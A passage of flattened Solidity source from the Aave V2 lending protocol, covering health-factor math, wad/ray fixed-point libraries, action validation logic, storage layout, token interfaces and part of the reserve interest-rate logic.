vars.avgLiquidationThreshold ); return ( vars.totalCollateralInETH, vars.totalDebtInETH, vars.avgLtv, vars.avgLiquidationThreshold, vars.healthFactor ); } /** * @dev Calculates the health factor from the corresponding balances * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total debt in ETH * @param liquidationThreshold The avg liquidation threshold * @return The health factor calculated from the balances provided **/ function calculateHealthFactorFromBalances( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 liquidationThreshold ) internal pure returns (uint256) { if (totalDebtInETH == 0) return uint256(-1); return (totalCollateralInETH.percentMul(liquidationThreshold)).wadDiv(totalDebtInETH); } /** * @dev Calculates the equivalent amount in ETH that an user can borrow, depending on the available collateral and the * average Loan To Value * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total borrow balance * @param ltv The average loan to value * @return the amount available to borrow in ETH for the user **/ function calculateAvailableBorrowsETH( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 ltv ) internal pure returns (uint256) { uint256 availableBorrowsETH = totalCollateralInETH.percentMul(ltv); if (availableBorrowsETH < totalDebtInETH) { return 0; } availableBorrowsETH = availableBorrowsETH.sub(totalDebtInETH); return availableBorrowsETH; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title Helpers library * @author Aave */ library Helpers { /** * @dev Fetches the user current stable and variable debt balances * @param user The user address * @param reserve The reserve data object * @return The stable and variable debt balance **/ function getUserCurrentDebt(address user, DataTypes.ReserveData storage reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } function getUserCurrentDebtMemory(address user, DataTypes.ReserveData memory reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title WadRayMath library * @author Aave * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) **/ library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 **/ function ray() internal pure returns (uint256) { return RAY; } /** * @return One wad, 1e18 **/ function wad() internal pure returns (uint256) { return WAD; } /** * @return Half ray, 1e27/2 **/ function halfRay() internal pure returns (uint256) { return halfRAY; } /** * @return Half ray, 1e18/2 **/ function halfWad() internal pure returns (uint256) { return halfWAD; } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad **/ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfWAD) / WAD; } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad **/ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray **/ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfRAY) / RAY; } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray **/ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad **/ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in ray **/ function wadToRay(uint256 a) internal pure returns (uint256) { uint256 result = a * WAD_RAY_RATIO; require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW); return result; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {Helpers} from '../helpers/Helpers.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 4000; uint256 public constant REBALANCE_UP_USAGE_RATIO_THRESHOLD = 0.95 * 1e27; //usage ratio of 95% /** * @dev Validates a deposit action * @param reserve The reserve object on which the user is depositing * @param amount The amount to be deposited */ function validateDeposit(DataTypes.ReserveData storage reserve, uint256 amount) external view { (bool isActive, bool isFrozen, , ) = reserve.configuration.getFlags(); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); } /** * @dev Validates a withdraw action * @param reserveAddress The address of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user * @param reservesData The reserves state * @param userConfig The user configuration * @param reserves The addresses of the reserves * @param reservesCount The number of reserves * @param oracle The price oracle */ function validateWithdraw( address reserveAddress, uint256 amount, uint256 userBalance, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { require(amount != 0, Errors.VL_INVALID_AMOUNT); require(amount <= userBalance, Errors.VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE); (bool isActive, , , ) = reservesData[reserveAddress].configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require( GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, amount, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_TRANSFER_NOT_ALLOWED ); } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 currentLiquidationThreshold; uint256 amountOfCollateralNeededETH; uint256 userCollateralBalanceETH; uint256 userBorrowBalanceETH; uint256 availableLiquidity; uint256 healthFactor; bool isActive; bool isFrozen; bool borrowingEnabled; bool stableRateBorrowingEnabled; } /** * @dev Validates a borrow action * @param asset The address of the asset to borrow * @param reserve The reserve state from which the user is borrowing * @param userAddress The address of the user * @param amount The amount to be borrowed * @param amountInETH The amount to be borrowed, in ETH * @param interestRateMode The interest rate mode at which the user is borrowing * @param maxStableLoanPercent The max amount of the liquidity that can be borrowed at stable rate, in percentage * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateBorrow( address asset, DataTypes.ReserveData storage reserve, address userAddress, uint256 amount, uint256 amountInETH, uint256 interestRateMode, uint256 maxStableLoanPercent, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { ValidateBorrowLocalVars memory vars; (vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled) = reserve .configuration .getFlags(); require(vars.isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!vars.isFrozen, Errors.VL_RESERVE_FROZEN); require(amount != 0, Errors.VL_INVALID_AMOUNT); require(vars.borrowingEnabled, Errors.VL_BORROWING_NOT_ENABLED); //validate interest rate mode require( uint256(DataTypes.InterestRateMode.VARIABLE) == interestRateMode || uint256(DataTypes.InterestRateMode.STABLE) == interestRateMode, Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED ); ( vars.userCollateralBalanceETH, vars.userBorrowBalanceETH, vars.currentLtv, vars.currentLiquidationThreshold, vars.healthFactor ) = GenericLogic.calculateUserAccountData( userAddress, reservesData, userConfig, reserves, reservesCount, oracle ); require(vars.userCollateralBalanceETH > 0, Errors.VL_COLLATERAL_BALANCE_IS_0); require( vars.healthFactor > GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.amountOfCollateralNeededETH = vars.userBorrowBalanceETH.add(amountInETH).percentDiv( vars.currentLtv ); //LTV is calculated in percentage require( vars.amountOfCollateralNeededETH <= vars.userCollateralBalanceETH, Errors.VL_COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity **/ if (interestRateMode == uint256(DataTypes.InterestRateMode.STABLE)) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || amount > IERC20(reserve.aTokenAddress).balanceOf(userAddress), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(asset).balanceOf(reserve.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(maxStableLoanPercent); require(amount <= maxLoanSizeStable, Errors.VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } } /** * @dev Validates a repay action * @param reserve The reserve state from which the user is repaying * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveData storage reserve, uint256 amountSent, DataTypes.InterestRateMode rateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) external view { bool isActive = reserve.configuration.getActive(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(amountSent > 0, Errors.VL_INVALID_AMOUNT); require( (stableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE) || (variableDebt > 0 && DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.VARIABLE), Errors.VL_NO_DEBT_OF_SELECTED_TYPE ); require( amountSent != uint256(-1) || msg.sender == onBehalfOf, Errors.VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF ); } /** * @dev Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the borrow */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) external view { (bool isActive, bool isFrozen, , bool stableRateEnabled) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); require(!isFrozen, Errors.VL_RESERVE_FROZEN); if (currentRateMode == DataTypes.InterestRateMode.STABLE) { require(stableDebt > 0, Errors.VL_NO_STABLE_RATE_LOAN_IN_RESERVE); } else if (currentRateMode == DataTypes.InterestRateMode.VARIABLE) { require(variableDebt > 0, Errors.VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE); /** * user wants to swap to stable, before swapping we need to ensure that * 1. stable borrow rate is enabled on the reserve * 2. user is not trying to abuse the reserve by depositing * more collateral than he is borrowing, artificially lowering * the interest rate, borrowing at variable, and switching to stable **/ require(stableRateEnabled, Errors.VL_STABLE_BORROWING_NOT_ENABLED); require( !userConfig.isUsingAsCollateral(reserve.id) || reserve.configuration.getLtv() == 0 || stableDebt.add(variableDebt) > IERC20(reserve.aTokenAddress).balanceOf(msg.sender), Errors.VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY ); } else { revert(Errors.VL_INVALID_INTEREST_RATE_MODE_SELECTED); } } /** * @dev Validates a stable borrow rate rebalance action * @param reserve The reserve state on which the user is getting rebalanced * @param reserveAddress The address of the reserve * @param stableDebtToken The stable debt token instance * @param variableDebtToken The variable debt token instance * @param aTokenAddress The address of the aToken contract */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, address reserveAddress, IERC20 stableDebtToken, IERC20 variableDebtToken, address aTokenAddress ) external view { (bool isActive, , , ) = reserve.configuration.getFlags(); require(isActive, Errors.VL_NO_ACTIVE_RESERVE); //if the usage ratio is below 95%, no rebalances are needed uint256 totalDebt = stableDebtToken.totalSupply().add(variableDebtToken.totalSupply()).wadToRay(); uint256 availableLiquidity = IERC20(reserveAddress).balanceOf(aTokenAddress).wadToRay(); uint256 usageRatio = totalDebt == 0 ? 0 : totalDebt.rayDiv(availableLiquidity.add(totalDebt)); //if the liquidity rate is below REBALANCE_UP_THRESHOLD of the max variable APR at 95% usage, //then we allow rebalancing of the stable rate positions. uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 maxVariableBorrowRate = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).getMaxVariableBorrowRate(); require( usageRatio >= REBALANCE_UP_USAGE_RATIO_THRESHOLD && currentLiquidityRate <= maxVariableBorrowRate.percentMul(REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD), Errors.LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET ); } /** * @dev Validates the action of setting an asset as collateral * @param reserve The state of the reserve that the user is enabling or disabling as collateral * @param reserveAddress The address of the reserve * @param reservesData The data of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateSetUseReserveAsCollateral( DataTypes.ReserveData storage reserve, address reserveAddress, bool useAsCollateral, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view { uint256 underlyingBalance = IERC20(reserve.aTokenAddress).balanceOf(msg.sender); require(underlyingBalance > 0, Errors.VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0); require( useAsCollateral || GenericLogic.balanceDecreaseAllowed( reserveAddress, msg.sender, underlyingBalance, reservesData, userConfig, reserves, reservesCount, oracle ), Errors.VL_DEPOSIT_ALREADY_IN_USE ); } /** * @dev Validates a flashloan action * @param assets The assets being flashborrowed * @param amounts The amounts for each asset being borrowed **/ function validateFlashloan(address[] memory assets, uint256[] memory amounts) internal pure { require(assets.length == amounts.length, Errors.VL_INCONSISTENT_FLASHLOAN_PARAMS); } /** * @dev Validates the liquidation action * @param collateralReserve The reserve data of the collateral * @param principalReserve The reserve data of the principal * @param userConfig The user configuration * @param userHealthFactor The user's health factor * @param userStableDebt Total stable debt balance of the user * @param userVariableDebt Total variable debt balance of the user **/ function validateLiquidationCall( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage principalReserve, DataTypes.UserConfigurationMap storage userConfig, uint256 userHealthFactor, uint256 userStableDebt, uint256 userVariableDebt ) internal view returns (uint256, string memory) { if ( !collateralReserve.configuration.getActive() || !principalReserve.configuration.getActive() ) { return ( uint256(Errors.CollateralManagerErrors.NO_ACTIVE_RESERVE), Errors.VL_NO_ACTIVE_RESERVE ); } if (userHealthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD) { return ( uint256(Errors.CollateralManagerErrors.HEALTH_FACTOR_ABOVE_THRESHOLD), Errors.LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD ); } bool isCollateralEnabled = collateralReserve.configuration.getLiquidationThreshold() > 0 && userConfig.isUsingAsCollateral(collateralReserve.id); //if collateral isn't enabled as collateral by user, it cannot be liquidated if (!isCollateralEnabled) { return ( uint256(Errors.CollateralManagerErrors.COLLATERAL_CANNOT_BE_LIQUIDATED), Errors.LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED ); } if (userStableDebt == 0 && userVariableDebt == 0) { return ( uint256(Errors.CollateralManagerErrors.CURRRENCY_NOT_BORROWED), Errors.LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER ); } return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } /** * @dev Validates an aToken transfer * @param from The user from which the aTokens are being transferred * @param reservesData The state of all the reserves * @param userConfig The state of the user for the specific reserve * @param reserves The addresses of all the active reserves * @param oracle The price oracle */ function validateTransfer( address from, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap storage userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view { (, , , , uint256 healthFactor) = GenericLogic.calculateUserAccountData( from, reservesData, userConfig, reserves, reservesCount, oracle ); require( healthFactor >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.VL_TRANSFER_NOT_ALLOWED ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; contract LendingPoolStorage { using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; ILendingPoolAddressesProvider internal _addressesProvider; mapping(address => DataTypes.ReserveData) internal _reserves; mapping(address => DataTypes.UserConfigurationMap) internal _usersConfig; // the list of the available reserves, structured as a mapping for gas savings reasons mapping(uint256 => address) internal _reservesList; uint256 internal _reservesCount; bool internal _paused; uint256 internal _maxStableRateBorrowSizePercent; uint256 internal _flashLoanPremiumTotal; uint256 internal _maxNumberOfReserves; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IScaledBalanceToken { /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view returns (uint256); /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256); /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return The scaled total supply **/ function scaledTotalSupply() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableAToken * @notice Interface for the initialize function on AToken * @author Aave **/ interface IInitializableAToken { /** * @dev Emitted when an aToken is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param treasury The address of the treasury * @param incentivesController The address of the incentives controller for this aToken * @param aTokenDecimals the decimals of the underlying * @param aTokenName the name of the aToken * @param aTokenSymbol the symbol of the aToken * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address treasury, address incentivesController, uint8 aTokenDecimals, string aTokenName, string aTokenSymbol, bytes params ); /** * @dev Initializes the aToken * @param pool The address of the lending pool where this aToken will be used * @param treasury The address of the Aave treasury, receiving the fees on this aToken * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's * @param aTokenName The name of the aToken * @param aTokenSymbol The symbol of the aToken */ function initialize( ILendingPool pool, address treasury, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 aTokenDecimals, string calldata aTokenName, string calldata aTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IAaveIncentivesController { function handleAction( address user, uint256 userBalance, uint256 totalSupply ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableDebtToken * @notice Interface for the initialize function common between debt tokens * @author Aave **/ interface IInitializableDebtToken { /** * @dev Emitted when a debt token is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param incentivesController The address of the incentives controller for this aToken * @param debtTokenDecimals the decimals of the debt token * @param debtTokenName the name of the debt token * @param debtTokenSymbol the symbol of the debt token * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address incentivesController, uint8 debtTokenDecimals, string debtTokenName, string debtTokenSymbol, bytes params ); /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../../interfaces/IVariableDebtToken.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {MathUtils} from '../math/MathUtils.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements the logic to update the reserves state */ library ReserveLogic { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; /** * @dev Emitted when the state of a reserve is updated * @param asset The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed asset, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); using ReserveLogic for DataTypes.ReserveData; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; /** * @dev Returns the ongoing normalized income for the reserve * A value of 1e27 means there is no income. As time passes, the income is accrued * A value of 2*1e27 means for each unit of asset one unit of income has been accrued * @param reserve The reserve object * @return the normalized income. expressed in ray **/ function getNormalizedIncome(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.liquidityIndex; } uint256 cumulated = MathUtils.calculateLinearInterest(reserve.currentLiquidityRate, timestamp).rayMul( reserve.liquidityIndex ); return cumulated; } /** * @dev Returns the ongoing normalized variable debt for the reserve * A value of 1e27 means there is no debt. As time passes, the income is accrued * A value of 2*1e27 means that for each unit of debt, one unit worth of interest has been accumulated * @param reserve The reserve object * @return The normalized variable debt. expressed in ray **/ function getNormalizedDebt(DataTypes.ReserveData storage reserve) internal view returns (uint256) { uint40 timestamp = reserve.lastUpdateTimestamp; //solium-disable-next-line if (timestamp == uint40(block.timestamp)) { //if the index was updated in the same block, no need to perform any calculation return reserve.variableBorrowIndex; } uint256 cumulated = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp).rayMul( reserve.variableBorrowIndex ); return cumulated; } /** * @dev Updates the liquidity cumulative index and the variable borrow index. * @param reserve the reserve object **/ function updateState(DataTypes.ReserveData storage reserve) internal { uint256 scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply(); uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex; uint256 previousLiquidityIndex = reserve.liquidityIndex; uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp; (uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) = _updateIndexes( reserve, scaledVariableDebt, previousLiquidityIndex, previousVariableBorrowIndex, lastUpdatedTimestamp ); _mintToTreasury( reserve, scaledVariableDebt, previousVariableBorrowIndex, newLiquidityIndex, newVariableBorrowIndex, lastUpdatedTimestamp ); } /** * @dev Accumulates a predefined amount of asset to the reserve as a fixed, instantaneous income. Used for example to accumulate * the flashloan fee to the reserve, and spread it between all the depositors * @param reserve The reserve object * @param totalLiquidity The total liquidity available in the reserve * @param amount The amount to accomulate **/ function cumulateToLiquidityIndex( DataTypes.ReserveData storage reserve, uint256 totalLiquidity, uint256 amount ) internal { uint256 amountToLiquidityRatio = amount.wadToRay().rayDiv(totalLiquidity.wadToRay()); uint256 result = amountToLiquidityRatio.add(WadRayMath.ray()); result = result.rayMul(reserve.liquidityIndex); require(result <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(result); } /** * @dev Initializes a reserve * @param reserve The reserve object * @param aTokenAddress The address of the overlying atoken contract * @param interestRateStrategyAddress The address of the interest rate strategy contract **/ function init( DataTypes.ReserveData storage reserve, address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress, address interestRateStrategyAddress ) external { require(reserve.aTokenAddress == address(0), Errors.RL_RESERVE_ALREADY_INITIALIZED); reserve.liquidityIndex = uint128(WadRayMath.ray()); reserve.variableBorrowIndex = uint128(WadRayMath.ray()); reserve.aTokenAddress = aTokenAddress; reserve.stableDebtTokenAddress = stableDebtTokenAddress; reserve.variableDebtTokenAddress = variableDebtTokenAddress; reserve.interestRateStrategyAddress = interestRateStrategyAddress; } struct UpdateInterestRatesLocalVars { address stableDebtTokenAddress; uint256 availableLiquidity; uint256 totalStableDebt; uint256 newLiquidityRate; uint256 newStableRate; uint256 newVariableRate; uint256 avgStableRate; uint256 totalVariableDebt; } /** * @dev Updates the reserve current stable borrow rate, the current variable borrow rate and the current liquidity rate * @param reserve The address of the reserve to be updated * @param liquidityAdded The amount of liquidity added to the protocol (deposit or repay) in the previous action * @param liquidityTaken The amount of liquidity taken from the protocol (redeem or borrow) **/ function updateInterestRates( DataTypes.ReserveData storage reserve, address reserveAddress, address aTokenAddress, uint256 liquidityAdded, uint256 liquidityTaken ) internal { UpdateInterestRatesLocalVars memory vars; vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress; (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress) .getTotalSupplyAndAvgRate(); //calculates the total variable debt locally using the scaled total supply instead //of totalSupply(), as it's noticeably cheaper. Also, the index has been //updated by the previous updateState() call vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress) .scaledTotalSupply() .rayMul(reserve.variableBorrowIndex); ( vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate ) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates( reserveAddress, aTokenAddress, liquidityAdded, liquidityTaken, vars.totalStableDebt, vars.totalVariableDebt, vars.avgStableRate, reserve.configuration.getReserveFactor() ); require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW); require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW); require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW); reserve.currentLiquidityRate = uint128(vars.newLiquidityRate); reserve.currentStableBorrowRate = uint128(vars.newStableRate); reserve.currentVariableBorrowRate = uint128(vars.newVariableRate); emit ReserveDataUpdated( reserveAddress, 